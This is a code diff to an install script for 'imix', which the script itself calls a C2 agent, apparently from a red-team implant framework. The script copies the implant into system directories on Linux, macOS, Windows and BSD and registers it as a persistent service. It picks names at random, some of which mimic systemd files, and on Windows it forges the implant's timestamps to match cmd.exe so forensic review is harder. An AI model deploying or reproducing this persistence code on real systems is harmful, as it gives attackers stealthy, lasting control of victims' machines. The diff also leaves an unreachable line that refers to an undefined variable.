diff --git a/implants/imix/install_scripts/install_service/main.eldritch b/implants/imix/install_scripts/install_service/main.eldritch index 527d50a91..37b177186 100644 --- a/implants/imix/install_scripts/install_service/main.eldritch +++ b/implants/imix/install_scripts/install_service/main.eldritch @@ -230,6 +230,11 @@ def is_using_bsdinit(): return True return False +def get_systemd_dir(): + for dir in ["/usr/lib/systemd/system/", "/lib/systemd/system/"]: + if file.is_dir(dir): + return dir + return False def systemd(service_name, service_desc, executable_path, executable_args): # assets.copy("persist_service/files/systemd.service.j2","/tmp/systemd.service.j2") @@ -239,8 +244,11 @@ def systemd(service_name, service_desc, executable_path, executable_args): "SERVICE_DESC": service_desc, "SERVICE_START_CMD": executable_path+" "+executable_args } - file.template("/tmp/systemd.service.j2", - "/usr/lib/systemd/system/"+service_name+".service", args, False) + systemd_dir = get_systemd_dir() + if systemd_dir == False: + eprint("No systemd dir found aborting") + return False + file.template("/tmp/systemd.service.j2", systemd_dir+service_name+".service", args, False) file.remove("/tmp/systemd.service.j2") # assets.copy("persist_service/files/payload.elf", executable_path) @@ -342,10 +350,9 @@ def windows_service_manager(service_name, service_display_name, service_descript return -def persist_service(service_name, service_desc, executable_name, executable_args, windows_display_name): +def persist_service(service_name, service_desc, executable_path, executable_args, windows_display_name): src_path = process.info()['exe'] if sys.is_linux(): - executable_path = "/bin/"+executable_name file.copy(src_path, executable_path) if is_using_systemd(): systemd(service_name, service_desc, @@ -354,17 +361,14 @@ def persist_service(service_name, service_desc, executable_name, executable_args sysvinit(service_name, service_desc, executable_path, executable_args) elif sys.is_macos(): - executable_path = "/var/root/"+executable_name file.copy(src_path, executable_path) launch_daemon(service_name, executable_path, executable_args) elif sys.is_windows(): - executable_path = "C:\\Windows\\System32\\"+executable_name+".exe" file.copy(src_path, executable_path) sys.shell(f"""powershell /c "\$src = Get-Item 'C:\\Windows\\System32\\cmd.exe'; \$tgt = Get-Item '{executable_path}'; $tgt.CreationTime = $src.CreationTime; $tgt.LastWriteTime = $src.LastWriteTime; $tgt.LastAccessTime = $src.LastAccessTime" """) windows_service_manager( service_name, windows_display_name, service_desc, executable_path, executable_args) elif sys.get_os()['platform'] == "BSD": - executable_path = "/bin/"+executable_name file.copy(src_path, executable_path) if is_using_bsdinit(): bsdinit(service_name, service_desc, @@ -372,23 +376,60 @@ def persist_service(service_name, service_desc, executable_name, executable_args else: print("OS not supported") +def is_installed(path): + for p in process.list(): + if p['path'] == path: + return True + return False + +def get_executable_paths(name): + paths = [] + if sys.is_linux(): + # Systemd internal service + if name.startswith("systemd"): + systemd_dir = get_systemd_dir() + return [f"{systemd_dir}{name}"] + # Check /usr + if file.is_dir("/usr"): + return [f"/usr/bin/{name}", f"/usr/sbin/{name}"] + else: + return [f"/bin/{name}", f"/sbin/{name}"] + return subdir+name + elif sys.is_macos(): + return[ "/var/root/"+name] + elif sys.is_windows(): + return ["C:\\Windows\\System32\\"+name+".exe"] # ok + elif sys.get_os()['platform'] == "BSD": + return ["/bin/"+name] + return False + def parse_and_persist(config_data): - if len(config_data['service_configs']) < 1: + configs = config_data['service_configs'] + if len(configs) < 1: print("Please add a service_config to your imix config") else: - conf = config_data['service_configs'][0] + + for conf in configs: + paths = get_executable_paths(conf['executable_name']) + for path in paths: + if is_installed(path): + print("Already installed: " + path) + return + index = random.int(0, len(configs)) + conf = configs[index] + paths = get_executable_paths(conf['executable_name']) persist_service( conf['name'], conf['description'], - conf['executable_name'], + paths[random.int(0, len(paths))], conf['executable_args'], conf['windows_display_name'], ) """ -This script uses the first provided services_configs to install a service +This script randomly chooses a services_configs to install a service On the local system. The config file specified for the install will be used by the imix agent. The imix binary itself will be copied to the install location. The original imix binary will still exist so you may wish to delete @@ -402,10 +443,24 @@ def main(): config_data = { "service_configs": [ { - "name": "imixsvc", + "name": "imixsvc1", + "windows_display_name": "Imix c2 agent", + "description": "Imix C2 Agent", + "executable_name": "imix1", + "executable_args": "" + }, + { + "name": "imixsvc2", + "windows_display_name": "Imix c2 agent", + "description": "Imix C2 Agent", + "executable_name": "systemd-imix2", + "executable_args": "" + }, + { + "name": "imixsvc3", "windows_display_name": "Imix c2 agent", "description": "Imix C2 Agent", - "executable_name": "imix", + "executable_name": "imix3", "executable_args": "" } ]